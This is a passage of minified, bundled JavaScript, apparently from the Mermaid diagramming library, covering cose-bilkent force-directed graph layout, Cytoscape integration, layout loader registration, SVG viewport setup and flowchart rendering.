i(a,s){this.lworldOrgX=0,this.lworldOrgY=0,this.ldeviceOrgX=0,this.ldeviceOrgY=0,this.lworldExtX=1,this.lworldExtY=1,this.ldeviceExtX=1,this.ldeviceExtY=1}o(i,"Transform"),i.prototype.getWorldOrgX=function(){return this.lworldOrgX},i.prototype.setWorldOrgX=function(a){this.lworldOrgX=a},i.prototype.getWorldOrgY=function(){return this.lworldOrgY},i.prototype.setWorldOrgY=function(a){this.lworldOrgY=a},i.prototype.getWorldExtX=function(){return this.lworldExtX},i.prototype.setWorldExtX=function(a){this.lworldExtX=a},i.prototype.getWorldExtY=function(){return this.lworldExtY},i.prototype.setWorldExtY=function(a){this.lworldExtY=a},i.prototype.getDeviceOrgX=function(){return this.ldeviceOrgX},i.prototype.setDeviceOrgX=function(a){this.ldeviceOrgX=a},i.prototype.getDeviceOrgY=function(){return this.ldeviceOrgY},i.prototype.setDeviceOrgY=function(a){this.ldeviceOrgY=a},i.prototype.getDeviceExtX=function(){return this.ldeviceExtX},i.prototype.setDeviceExtX=function(a){this.ldeviceExtX=a},i.prototype.getDeviceExtY=function(){return this.ldeviceExtY},i.prototype.setDeviceExtY=function(a){this.ldeviceExtY=a},i.prototype.transformX=function(a){var s=0,l=this.lworldExtX;return l!=0&&(s=this.ldeviceOrgX+(a-this.lworldOrgX)*this.ldeviceExtX/l),s},i.prototype.transformY=function(a){var s=0,l=this.lworldExtY;return l!=0&&(s=this.ldeviceOrgY+(a-this.lworldOrgY)*this.ldeviceExtY/l),s},i.prototype.inverseTransformX=function(a){var s=0,l=this.ldeviceExtX;return l!=0&&(s=this.lworldOrgX+(a-this.ldeviceOrgX)*this.lworldExtX/l),s},i.prototype.inverseTransformY=function(a){var s=0,l=this.ldeviceExtY;return l!=0&&(s=this.lworldOrgY+(a-this.ldeviceOrgY)*this.lworldExtY/l),s},i.prototype.inverseTransformPoint=function(a){var s=new n(this.inverseTransformX(a.x),this.inverseTransformY(a.y));return s},t.exports=i}),(function(t,e,r){"use strict";function n(d){if(Array.isArray(d)){for(var p=0,m=Array(d.length);pa.ADAPTATION_LOWER_NODE_LIMIT&&(this.coolingFactor=Math.max(this.coolingFactor*a.COOLING_ADAPTATION_FACTOR,this.coolingFactor-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*this.coolingFactor*(1-a.COOLING_ADAPTATION_FACTOR))),this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT_INCREMENTAL):(d>a.ADAPTATION_LOWER_NODE_LIMIT?this.coolingFactor=Math.max(a.COOLING_ADAPTATION_FACTOR,1-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*(1-a.COOLING_ADAPTATION_FACTOR)):this.coolingFactor=1,this.initialCoolingFactor=this.coolingFactor,this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT),this.maxIterations=Math.max(this.getAllNodes().length*5,this.maxIterations),this.totalDisplacementThreshold=this.displacementThresholdPerNode*this.getAllNodes().length,this.repulsionRange=this.calcRepulsionRange()},h.prototype.calcSpringForces=function(){for(var d=this.getAllEdges(),p,m=0;m0&&arguments[0]!==void 0?arguments[0]:!0,p=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,m,g,y,v,x=this.getAllNodes(),b;if(this.useFRGridVariant)for(this.totalIterations%a.GRID_CALCULATION_CHECK_PERIOD==1&&d&&this.updateGrid(),b=new Set,m=0;mT||b>T)&&(d.gravitationForceX=-this.gravityConstant*y,d.gravitationForceY=-this.gravityConstant*v)):(T=p.getEstimatedSize()*this.compoundGravityRangeFactor,(x>T||b>T)&&(d.gravitationForceX=-this.gravityConstant*y*this.compoundGravityConstant,d.gravitationForceY=-this.gravityConstant*v*this.compoundGravityConstant))},h.prototype.isConverged=function(){var d,p=!1;return this.totalIterations>this.maxIterations/3&&(p=Math.abs(this.totalDisplacement-this.oldTotalDisplacement)<2),d=this.totalDisplacement=x.length||T>=x[0].length)){for(var S=0;Sh},"_defaultCompareFunction")}]),l})();t.exports=s}),(function(t,e,r){"use strict";var n=(function(){function s(l,u){for(var h=0;h2&&arguments[2]!==void 0?arguments[2]:1,f=arguments.length>3&&arguments[3]!==void 0?arguments[3]:-1,d=arguments.length>4&&arguments[4]!==void 0?arguments[4]:-1;i(this,s),this.sequence1=l,this.sequence2=u,this.match_score=h,this.mismatch_penalty=f,this.gap_penalty=d,this.iMax=l.length+1,this.jMax=u.length+1,this.grid=new Array(this.iMax);for(var p=0;p=0;l--){var u=this.listeners[l];u.event===a&&u.callback===s&&this.listeners.splice(l,1)}},i.emit=function(a,s){for(var l=0;l{"use strict";o((function(e,r){typeof Ax=="object"&&typeof BI=="object"?BI.exports=r(PI()):typeof define=="function"&&define.amd?define(["layout-base"],r):typeof Ax=="object"?Ax.coseBase=r(PI()):e.coseBase=r(e.layoutBase)}),"webpackUniversalModuleDefinition")(Ax,function(t){return(function(e){var r={};function n(i){if(r[i])return r[i].exports;var a=r[i]={i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n),a.l=!0,a.exports}return o(n,"__webpack_require__"),n.m=e,n.c=r,n.i=function(i){return i},n.d=function(i,a,s){n.o(i,a)||Object.defineProperty(i,a,{configurable:!1,enumerable:!0,get:s})},n.n=function(i){var a=i&&i.__esModule?o(function(){return i.default},"getDefault"):o(function(){return i},"getModuleExports");return n.d(a,"a",a),a},n.o=function(i,a){return Object.prototype.hasOwnProperty.call(i,a)},n.p="",n(n.s=7)})([(function(e,r){e.exports=t}),(function(e,r,n){"use strict";var i=n(0).FDLayoutConstants;function a(){}o(a,"CoSEConstants");for(var s in i)a[s]=i[s];a.DEFAULT_USE_MULTI_LEVEL_SCALING=!1,a.DEFAULT_RADIAL_SEPARATION=i.DEFAULT_EDGE_LENGTH,a.DEFAULT_COMPONENT_SEPERATION=60,a.TILE=!0,a.TILING_PADDING_VERTICAL=10,a.TILING_PADDING_HORIZONTAL=10,a.TREE_REDUCTION_ON_INCREMENTAL=!1,e.exports=a}),(function(e,r,n){"use strict";var i=n(0).FDLayoutEdge;function a(l,u,h){i.call(this,l,u,h)}o(a,"CoSEEdge"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).LGraph;function a(l,u,h){i.call(this,l,u,h)}o(a,"CoSEGraph"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).LGraphManager;function a(l){i.call(this,l)}o(a,"CoSEGraphManager"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).FDLayoutNode,a=n(0).IMath;function s(u,h,f,d){i.call(this,u,h,f,d)}o(s,"CoSENode"),s.prototype=Object.create(i.prototype);for(var l in i)s[l]=i[l];s.prototype.move=function(){var u=this.graphManager.getLayout();this.displacementX=u.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.noOfChildren,this.displacementY=u.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.noOfChildren,Math.abs(this.displacementX)>u.coolingFactor*u.maxNodeDisplacement&&(this.displacementX=u.coolingFactor*u.maxNodeDisplacement*a.sign(this.displacementX)),Math.abs(this.displacementY)>u.coolingFactor*u.maxNodeDisplacement&&(this.displacementY=u.coolingFactor*u.maxNodeDisplacement*a.sign(this.displacementY)),this.child==null?this.moveBy(this.displacementX,this.displacementY):this.child.getNodes().length==0?this.moveBy(this.displacementX,this.displacementY):this.propogateDisplacementToChildren(this.displacementX,this.displacementY),u.totalDisplacement+=Math.abs(this.displacementX)+Math.abs(this.displacementY),this.springForceX=0,this.springForceY=0,this.repulsionForceX=0,this.repulsionForceY=0,this.gravitationForceX=0,this.gravitationForceY=0,this.displacementX=0,this.displacementY=0},s.prototype.propogateDisplacementToChildren=function(u,h){for(var f=this.getChild().getNodes(),d,p=0;p0)this.positionNodesRadially(w);else{this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var k=new Set(this.getAllNodes()),A=this.nodesWithGravity.filter(function(C){return k.has(C)});this.graphManager.setAllNodesToApplyGravitation(A),this.positionNodesRandomly()}}return this.initSpringEmbedder(),this.runSpringEmbedder(),!0},T.prototype.tick=function(){if(this.totalIterations++,this.totalIterations===this.maxIterations&&!this.isTreeGrowing&&!this.isGrowthFinished)if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;if(this.totalIterations%f.CONVERGENCE_CHECK_PERIOD==0&&!this.isTreeGrowing&&!this.isGrowthFinished){if(this.isConverged())if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;this.coolingCycle++,this.layoutQuality==0?this.coolingAdjuster=this.coolingCycle:this.layoutQuality==1&&(this.coolingAdjuster=this.coolingCycle/3),this.coolingFactor=Math.max(this.initialCoolingFactor-Math.pow(this.coolingCycle,Math.log(100*(this.initialCoolingFactor-this.finalTemperature))/Math.log(this.maxCoolingCycle))/100*this.coolingAdjuster,this.finalTemperature),this.animationPeriod=Math.ceil(this.initialAnimationPeriod*Math.sqrt(this.coolingFactor))}if(this.isTreeGrowing){if(this.growTreeIterations%10==0)if(this.prunedNodesAll.length>0){this.graphManager.updateBounds(),this.updateGrid(),this.growTree(this.prunedNodesAll),this.graphManager.resetAllNodesToApplyGravitation();var w=new Set(this.getAllNodes()),k=this.nodesWithGravity.filter(function(R){return w.has(R)});this.graphManager.setAllNodesToApplyGravitation(k),this.graphManager.updateBounds(),this.updateGrid(),this.coolingFactor=f.DEFAULT_COOLING_FACTOR_INCREMENTAL}else this.isTreeGrowing=!1,this.isGrowthFinished=!0;this.growTreeIterations++}if(this.isGrowthFinished){if(this.isConverged())return!0;this.afterGrowthIterations%10==0&&(this.graphManager.updateBounds(),this.updateGrid()),this.coolingFactor=f.DEFAULT_COOLING_FACTOR_INCREMENTAL*((100-this.afterGrowthIterations)/100),this.afterGrowthIterations++}var A=!this.isTreeGrowing&&!this.isGrowthFinished,C=this.growTreeIterations%10==1&&this.isTreeGrowing||this.afterGrowthIterations%10==1&&this.isGrowthFinished;return this.totalDisplacement=0,this.graphManager.updateBounds(),this.calcSpringForces(),this.calcRepulsionForces(A,C),this.calcGravitationalForces(),this.moveNodes(),this.animate(),!1},T.prototype.getPositionsData=function(){for(var w=this.graphManager.getAllNodes(),k={},A=0;A1){var E;for(E=0;EC&&(C=Math.floor(L.y)),I=Math.floor(L.x+h.DEFAULT_COMPONENT_SEPERATION)}this.transform(new m(d.WORLD_CENTER_X-L.x/2,d.WORLD_CENTER_Y-L.y/2))},T.radialLayout=function(w,k,A){var C=Math.max(this.maxDiagonalInTree(w),h.DEFAULT_RADIAL_SEPARATION);T.branchRadialLayout(k,null,0,359,0,C);var R=x.calculateBounds(w),I=new b;I.setDeviceOrgX(R.getMinX()),I.setDeviceOrgY(R.getMinY()),I.setWorldOrgX(A.x),I.setWorldOrgY(A.y);for(var L=0;L1;){var j=U[0];U.splice(0,1);var te=P.indexOf(j);te>=0&&P.splice(te,1),G--,B--}k!=null?$=(P.indexOf(U[0])+1)%G:$=0;for(var Y=Math.abs(C-A)/B,oe=$;F!=B;oe=++oe%G){var J=P[oe].getOtherEnd(w);if(J!=k){var ue=(A+F*Y)%360,re=(ue+Y)%360;T.branchRadialLayout(J,w,ue,re,R+I,I),F++}}},T.maxDiagonalInTree=function(w){for(var k=y.MIN_VALUE,A=0;Ak&&(k=R)}return k},T.prototype.calcRepulsionRange=function(){return 2*(this.level+1)*this.idealEdgeLength},T.prototype.groupZeroDegreeMembers=function(){var w=this,k={};this.memberGroups={},this.idToDummyNode={};for(var A=[],C=this.graphManager.getAllNodes(),R=0;R"u"&&(k[E]=[]),k[E]=k[E].concat(I)}Object.keys(k).forEach(function(D){if(k[D].length>1){var _="DummyCompound_"+D;w.memberGroups[_]=k[D];var O=k[D][0].getParent(),M=new l(w.graphManager);M.id=_,M.paddingLeft=O.paddingLeft||0,M.paddingRight=O.paddingRight||0,M.paddingBottom=O.paddingBottom||0,M.paddingTop=O.paddingTop||0,w.idToDummyNode[_]=M;var P=w.getGraphManager().add(w.newGraph(),M),B=O.getChild();B.add(M);for(var F=0;F=0;w--){var k=this.compoundOrder[w],A=k.id,C=k.paddingLeft,R=k.paddingTop;this.adjustLocations(this.tiledMemberPack[A],k.rect.x,k.rect.y,C,R)}},T.prototype.repopulateZeroDegreeMembers=function(){var w=this,k=this.tiledZeroDegreePack;Object.keys(k).forEach(function(A){var C=w.idToDummyNode[A],R=C.paddingLeft,I=C.paddingTop;w.adjustLocations(k[A],C.rect.x,C.rect.y,R,I)})},T.prototype.getToBeTiled=function(w){var k=w.id;if(this.toBeTiled[k]!=null)return this.toBeTiled[k];var A=w.getChild();if(A==null)return this.toBeTiled[k]=!1,!1;for(var C=A.getNodes(),R=0;R0)return this.toBeTiled[k]=!1,!1;if(I.getChild()==null){this.toBeTiled[I.id]=!1;continue}if(!this.getToBeTiled(I))return this.toBeTiled[k]=!1,!1}return this.toBeTiled[k]=!0,!0},T.prototype.getNodeDegree=function(w){for(var k=w.id,A=w.getEdges(),C=0,R=0;RD&&(D=O.rect.height)}A+=D+w.verticalPadding}},T.prototype.tileCompoundMembers=function(w,k){var A=this;this.tiledMemberPack=[],Object.keys(w).forEach(function(C){var R=k[C];A.tiledMemberPack[C]=A.tileNodes(w[C],R.paddingLeft+R.paddingRight),R.rect.width=A.tiledMemberPack[C].width,R.rect.height=A.tiledMemberPack[C].height})},T.prototype.tileNodes=function(w,k){var A=h.TILING_PADDING_VERTICAL,C=h.TILING_PADDING_HORIZONTAL,R={rows:[],rowWidth:[],rowHeight:[],width:0,height:k,verticalPadding:A,horizontalPadding:C};w.sort(function(E,D){return E.rect.width*E.rect.height>D.rect.width*D.rect.height?-1:E.rect.width*E.rect.height0&&(L+=w.horizontalPadding),w.rowWidth[A]=L,w.width0&&(E+=w.verticalPadding);var D=0;E>w.rowHeight[A]&&(D=w.rowHeight[A],w.rowHeight[A]=E,D=w.rowHeight[A]-D),w.height+=D,w.rows[A].push(k)},T.prototype.getShortestRowIndex=function(w){for(var k=-1,A=Number.MAX_VALUE,C=0;CA&&(k=C,A=w.rowWidth[C]);return k},T.prototype.canAddHorizontal=function(w,k,A){var C=this.getShortestRowIndex(w);if(C<0)return!0;var R=w.rowWidth[C];if(R+w.horizontalPadding+k<=w.width)return!0;var I=0;w.rowHeight[C]0&&(I=A+w.verticalPadding-w.rowHeight[C]);var L;w.width-R>=k+w.horizontalPadding?L=(w.height+I)/(R+k+w.horizontalPadding):L=(w.height+I)/w.width,I=A+w.verticalPadding;var E;return w.widthI&&k!=A){C.splice(-1,1),w.rows[A].push(R),w.rowWidth[k]=w.rowWidth[k]-I,w.rowWidth[A]=w.rowWidth[A]+I,w.width=w.rowWidth[instance.getLongestRowIndex(w)];for(var L=Number.MIN_VALUE,E=0;EL&&(L=C[E].height);k>0&&(L+=w.verticalPadding);var D=w.rowHeight[k]+w.rowHeight[A];w.rowHeight[k]=L,w.rowHeight[A]0)for(var B=R;B<=I;B++)P[0]+=this.grid[B][L-1].length+this.grid[B][L].length-1;if(I0)for(var B=L;B<=E;B++)P[3]+=this.grid[R-1][B].length+this.grid[R][B].length-1;for(var F=y.MAX_VALUE,G,$,U=0;U{"use strict";o((function(e,r){typeof _x=="object"&&typeof $I=="object"?$I.exports=r(FI()):typeof define=="function"&&define.amd?define(["cose-base"],r):typeof _x=="object"?_x.cytoscapeCoseBilkent=r(FI()):e.cytoscapeCoseBilkent=r(e.coseBase)}),"webpackUniversalModuleDefinition")(_x,function(t){return(function(e){var r={};function n(i){if(r[i])return r[i].exports;var a=r[i]={i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n),a.l=!0,a.exports}return o(n,"__webpack_require__"),n.m=e,n.c=r,n.i=function(i){return i},n.d=function(i,a,s){n.o(i,a)||Object.defineProperty(i,a,{configurable:!1,enumerable:!0,get:s})},n.n=function(i){var a=i&&i.__esModule?o(function(){return i.default},"getDefault"):o(function(){return i},"getModuleExports");return n.d(a,"a",a),a},n.o=function(i,a){return Object.prototype.hasOwnProperty.call(i,a)},n.p="",n(n.s=1)})([(function(e,r){e.exports=t}),(function(e,r,n){"use strict";var i=n(0).layoutBase.LayoutConstants,a=n(0).layoutBase.FDLayoutConstants,s=n(0).CoSEConstants,l=n(0).CoSELayout,u=n(0).CoSENode,h=n(0).layoutBase.PointD,f=n(0).layoutBase.DimensionD,d={ready:o(function(){},"ready"),stop:o(function(){},"stop"),quality:"default",nodeDimensionsIncludeLabels:!1,refresh:30,fit:!0,padding:10,randomize:!0,nodeRepulsion:4500,idealEdgeLength:50,edgeElasticity:.45,nestingFactor:.1,gravity:.25,numIter:2500,tile:!0,animate:"end",animationDuration:500,tilingPaddingVertical:10,tilingPaddingHorizontal:10,gravityRangeCompound:1.5,gravityCompound:1,gravityRange:3.8,initialEnergyOnIncremental:.5};function p(v,x){var b={};for(var T in v)b[T]=v[T];for(var T in x)b[T]=x[T];return b}o(p,"extend");function m(v){this.options=p(d,v),g(this.options)}o(m,"_CoSELayout");var g=o(function(x){x.nodeRepulsion!=null&&(s.DEFAULT_REPULSION_STRENGTH=a.DEFAULT_REPULSION_STRENGTH=x.nodeRepulsion),x.idealEdgeLength!=null&&(s.DEFAULT_EDGE_LENGTH=a.DEFAULT_EDGE_LENGTH=x.idealEdgeLength),x.edgeElasticity!=null&&(s.DEFAULT_SPRING_STRENGTH=a.DEFAULT_SPRING_STRENGTH=x.edgeElasticity),x.nestingFactor!=null&&(s.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=a.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=x.nestingFactor),x.gravity!=null&&(s.DEFAULT_GRAVITY_STRENGTH=a.DEFAULT_GRAVITY_STRENGTH=x.gravity),x.numIter!=null&&(s.MAX_ITERATIONS=a.MAX_ITERATIONS=x.numIter),x.gravityRange!=null&&(s.DEFAULT_GRAVITY_RANGE_FACTOR=a.DEFAULT_GRAVITY_RANGE_FACTOR=x.gravityRange),x.gravityCompound!=null&&(s.DEFAULT_COMPOUND_GRAVITY_STRENGTH=a.DEFAULT_COMPOUND_GRAVITY_STRENGTH=x.gravityCompound),x.gravityRangeCompound!=null&&(s.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=a.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=x.gravityRangeCompound),x.initialEnergyOnIncremental!=null&&(s.DEFAULT_COOLING_FACTOR_INCREMENTAL=a.DEFAULT_COOLING_FACTOR_INCREMENTAL=x.initialEnergyOnIncremental),x.quality=="draft"?i.QUALITY=0:x.quality=="proof"?i.QUALITY=2:i.QUALITY=1,s.NODE_DIMENSIONS_INCLUDE_LABELS=a.NODE_DIMENSIONS_INCLUDE_LABELS=i.NODE_DIMENSIONS_INCLUDE_LABELS=x.nodeDimensionsIncludeLabels,s.DEFAULT_INCREMENTAL=a.DEFAULT_INCREMENTAL=i.DEFAULT_INCREMENTAL=!x.randomize,s.ANIMATE=a.ANIMATE=i.ANIMATE=x.animate,s.TILE=x.tile,s.TILING_PADDING_VERTICAL=typeof x.tilingPaddingVertical=="function"?x.tilingPaddingVertical.call():x.tilingPaddingVertical,s.TILING_PADDING_HORIZONTAL=typeof x.tilingPaddingHorizontal=="function"?x.tilingPaddingHorizontal.call():x.tilingPaddingHorizontal},"getUserOptions");m.prototype.run=function(){var v,x,b=this.options,T=this.idToLNode={},S=this.layout=new l,w=this;w.stopped=!1,this.cy=this.options.cy,this.cy.trigger({type:"layoutstart",layout:this});var k=S.newGraphManager();this.gm=k;var A=this.options.eles.nodes(),C=this.options.eles.edges();this.root=k.addRoot(),this.processChildrenList(this.root,this.getTopMostNodes(A),S);for(var R=0;R0){var E;E=b.getGraphManager().add(b.newGraph(),A),this.processChildrenList(E,k,b)}}},m.prototype.stop=function(){return this.stopped=!0,this};var y=o(function(x){x("layout","cose-bilkent",m)},"register");typeof cytoscape<"u"&&y(cytoscape),e.exports=y})])})});function Hqe(t,e){t.forEach(r=>{let n={id:r.id,labelText:r.label,height:r.height,width:r.width,padding:r.padding??0};Object.keys(r).forEach(i=>{["id","label","height","width","padding","x","y"].includes(i)||(n[i]=r[i])}),e.add({group:"nodes",data:n,position:{x:r.x??0,y:r.y??0}})})}function qqe(t,e){t.forEach(r=>{let n={id:r.id,source:r.start,target:r.end};Object.keys(r).forEach(i=>{["id","start","end"].includes(i)||(n[i]=r[i])}),e.add({group:"edges",data:n})})}function Jhe(t){return new Promise(e=>{let r=qe("body").append("div").attr("id","cy").attr("style","display:none"),n=Ko({container:document.getElementById("cy"),style:[{selector:"edge",style:{"curve-style":"bezier"}}]});r.remove(),Hqe(t.nodes,n),qqe(t.edges,n),n.nodes().forEach(function(a){a.layoutDimensions=()=>{let s=a.data();return{w:s.width,h:s.height}}});let i={name:"cose-bilkent",quality:"proof",styleEnabled:!1,animate:!1};n.layout(i).run(),n.ready(a=>{X.info("Cytoscape ready",a),e(n)})})}function efe(t){return t.nodes().map(e=>{let r=e.data(),n=e.position(),i={id:r.id,x:n.x,y:n.y};return Object.keys(r).forEach(a=>{a!=="id"&&(i[a]=r[a])}),i})}function tfe(t){return t.edges().map(e=>{let r=e.data(),n=e._private.rscratch,i={id:r.id,source:r.source,target:r.target,startX:n.startX,startY:n.startY,midX:n.midX,midY:n.midY,endX:n.endX,endY:n.endY};return Object.keys(r).forEach(a=>{["id","source","target"].includes(a)||(i[a]=r[a])}),i})}var Zhe,rfe=N(()=>{"use strict";II();Zhe=ja(Qhe(),1);yr();pt();Ko.use(Zhe.default);o(Hqe,"addNodes");o(qqe,"addEdges");o(Jhe,"createCytoscapeInstance");o(efe,"extractPositionedNodes");o(tfe,"extractPositionedEdges")});async function nfe(t,e){X.debug("Starting cose-bilkent layout algorithm");try{Wqe(t);let r=await Jhe(t),n=efe(r),i=tfe(r);return X.debug(`Layout completed: ${n.length} nodes, ${i.length} edges`),{nodes:n,edges:i}}catch(r){throw X.error("Error in cose-bilkent layout algorithm:",r),r}}function Wqe(t){if(!t)throw new Error("Layout data is required");if(!t.config)throw new Error("Configuration is required in layout data");if(!t.rootNode)throw new Error("Root node is required");if(!t.nodes||!Array.isArray(t.nodes))throw new Error("No nodes found in layout data");if(!Array.isArray(t.edges))throw new Error("Edges array is required in layout data");return!0}var ife=N(()=>{"use strict";pt();rfe();o(nfe,"executeCoseBilkentLayout");o(Wqe,"validateLayoutData")});var afe,sfe=N(()=>{"use strict";ife();afe=o(async(t,e,{insertCluster:r,insertEdge:n,insertEdgeLabel:i,insertMarkers:a,insertNode:s,log:l,positionEdgeLabel:u},{algorithm:h})=>{let f={},d={},p=e.select("g");a(p,t.markers,t.type,t.diagramId);let m=p.insert("g").attr("class","subgraphs"),g=p.insert("g").attr("class","edgePaths"),y=p.insert("g").attr("class","edgeLabels"),v=p.insert("g").attr("class","nodes");l.debug("Inserting nodes into DOM for dimension calculation"),await Promise.all(t.nodes.map(async T=>{if(T.isGroup){let S={...T};d[T.id]=S,f[T.id]=S,await r(m,T)}else{let S={...T};f[T.id]=S;let w=await s(v,T,{config:t.config,dir:t.direction||"TB"}),k=w.node().getBBox();S.width=k.width,S.height=k.height,S.domId=w,l.debug(`Node ${T.id} dimensions: ${k.width}x${k.height}`)}})),l.debug("Running cose-bilkent layout algorithm");let x={...t,nodes:t.nodes.map(T=>{let S=f[T.id];return{...T,width:S.width,height:S.height}})},b=await nfe(x,t.config);l.debug("Positioning nodes based on layout results"),b.nodes.forEach(T=>{let S=f[T.id];S?.domId&&(S.domId.attr("transform",`translate(${T.x}, ${T.y})`),S.x=T.x,S.y=T.y,l.debug(`Positioned node ${S.id} at center (${T.x}, ${T.y})`))}),b.edges.forEach(T=>{let S=t.edges.find(w=>w.id===T.id);S&&(S.points=[{x:T.startX,y:T.startY},{x:T.midX,y:T.midY},{x:T.endX,y:T.endY}])}),l.debug("Inserting and positioning edges"),await Promise.all(t.edges.map(async T=>{let S=await i(y,T),w=f[T.start??""],k=f[T.end??""];if(w&&k){let A=b.edges.find(C=>C.id===T.id);if(A){l.debug("APA01 positionedEdge",A);let C={...T},R=n(g,C,d,t.type,w,k,t.diagramId);u(C,R)}else{let C={...T,points:[{x:w.x||0,y:w.y||0},{x:k.x||0,y:k.y||0}]},R=n(g,C,d,t.type,w,k,t.diagramId);u(C,R)}}})),l.debug("Cose-bilkent rendering completed")},"render")});var ofe={};dr(ofe,{render:()=>Yqe});var Yqe,lfe=N(()=>{"use strict";sfe();Yqe=afe});var Dx,zI,Xqe,Qo,$c,Nf=N(()=>{"use strict";Qte();pt();Dx={},zI=o(t=>{for(let e of t)Dx[e.name]=e},"registerLayoutLoaders"),Xqe=o(()=>{zI([{name:"dagre",loader:o(async()=>await Promise.resolve().then(()=>(Roe(),Loe)),"loader")},{name:"cose-bilkent",loader:o(async()=>await Promise.resolve().then(()=>(lfe(),ofe)),"loader")}])},"registerDefaultLayoutLoaders");Xqe();Qo=o(async(t,e)=>{if(!(t.layoutAlgorithm in Dx))throw new Error(`Unknown layout algorithm: ${t.layoutAlgorithm}`);let r=Dx[t.layoutAlgorithm];return(await r.loader()).render(t,e,Kte,{algorithm:r.algorithm})},"render"),$c=o((t="",{fallback:e="dagre"}={})=>{if(t in Dx)return t;if(e in Dx)return X.warn(`Layout algorithm ${t} is not registered. Using ${e} as fallback.`),e;throw new Error(`Both layout algorithms ${t} and ${e} are not registered.`)},"getRegisteredLayoutAlgorithm")});var Ws,jqe,Kqe,Mf=N(()=>{"use strict";Ei();pt();Ws=o((t,e,r,n)=>{t.attr("class",r);let{width:i,height:a,x:s,y:l}=jqe(t,e);mn(t,a,i,n);let u=Kqe(s,l,i,a,e);t.attr("viewBox",u),X.debug(`viewBox configured: ${u} with padding: ${e}`)},"setupViewPortForSVG"),jqe=o((t,e)=>{let r=t.node()?.getBBox()||{width:0,height:0,x:0,y:0};return{width:r.width+e*2,height:r.height+e*2,x:r.x,y:r.y}},"calculateDimensionsWithPadding"),Kqe=o((t,e,r,n,i)=>`${t-i} ${e-i} ${r} ${n}`,"createViewBox")});var Qqe,Zqe,cfe,ufe=N(()=>{"use strict";yr();Xt();pt();ep();Nf();Mf();tr();Qqe=o(function(t,e){return e.db.getClasses()},"getClasses"),Zqe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing state diagram (v2)",e);let{securityLevel:i,flowchart:a,layout:s}=ge(),l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?l.nodes()[0].contentDocument:document;X.debug("Before getData: ");let h=n.db.getData();X.debug("Data: ",h);let f=Vo(e,i),d=n.db.getDirection();h.type=n.type,h.layoutAlgorithm=$c(s),h.layoutAlgorithm==="dagre"&&s==="elk"&&X.warn("flowchart-elk was moved to an external package in Mermaid v11. Please refer [release notes](https://github.com/mermaid-js/mermaid/releases/tag/v11.0.0) for more details. This diagram will be rendered using `dagre` layout as a fallback."),h.direction=d,h.nodeSpacing=a?.nodeSpacing||50,h.rankSpacing=a?.rankSpacing||50,h.markers=["point","circle","cross"],h.diagramId=e,X.debug("REF1:",h),await Qo(h,f);let p=h.config.flowchart?.diagramPadding??8;qt.insertTitle(f,"flowchartTitleText",a?.titleTopMargin||0,n.db.getDiagramTitle()),Ws(f,p,"flowchart",a?.useMaxWidth||!1);for(let m of h.nodes){let g=qe(`#${e} [id="${m.id}"]`);if(!g||!m.link)continue;let y=u.createElementNS("http://www.w3.org/2000/svg","a");y.setAttributeNS("http://www.w3.org/2000/svg","class",m.cssClasses),y.setAttributeNS("http://www.w3.org/2000/svg","rel","noopener"),i==="sandbox"?y.setAttributeNS("http://www.w3.org/2000/svg","target","_top"):m.linkTarget&&y.setAttributeNS("http://www.w3.org/2000/svg","target",m.linkTarget);let v=g.insert(function(){return y},":first-child"),x=g.select(".label-container");x&&v.append(function(){return x.node()});let b=g.select(".label");b&&v.append(function(){return b.node()})}},"draw"),cfe={getClasses:Qqe,draw:Zqe}});var GI,VI,hfe=N(()=>{"use strict";GI=(function(){var t=o(function(fr,it,kt,jt){for(kt=kt||{},jt=fr.length;jt--;kt[fr[jt]]=it);return kt},"o"),e=[1,4],r=[1,3],n=[1,5],i=[1,8,9,10,11,27,34,36,38,44,60,84,85,86,87,88,89,102,105,106,109,111,114,115,116,121,122,123,124],a=[2,2],s=[1,13],l=[1,14],u=[1,15],h=[1,16],f=[1,23],d=[1,25],p=[1,26],m=[1,27],g=[1,49],y=[1,48],v=[1,29],x=[1,30],b=[1,31],T=[1,32],S=[1,33],w=[1,44],k=[1,46],A=[1,42],C=[1,47],R=[1,43],I=[1,50],L=[1,45],E=[1,51],D=[1,52],_=[1,34],O=[1,35],M=[1,36],P=[1,37],B=[1,57],F=[1,8,9,10,11,27,32,34,36,38,44,60,84,85,86,87,88,89,102,105,106,109,111,114,115,116,121,122,123,124],G=[1,61],$=[1,60],U=[1,62],j=[8,9,11,75,77,78],te=[1,78],Y=[1,91],oe=[1,96],J=[1,95],ue=[1,92],re=[1,88],ee=[1,94],Z=[1,90],K=[1,97],ae=[1,93],Q=[1,98],de=[1,89],ne=[8,9,10,11,40,75,77,78],Te=[8,9,10,11,40,46,75,77,78],q=[8,9,10,11,29,40,44,46,48,50,52,54,56,58,60,63,65,67,68,70,75,77,78,89,102,105,106,109,111,114,115,116],Ve=[8,9,11,44,60,75,77,78,89,102,105,106,109,111,114,115,116],pe=[44,60,89,102,105,106,109,111,114,115,116],Be=[1,121],Ye=[1,122],He=[1,124],Le=[1,123],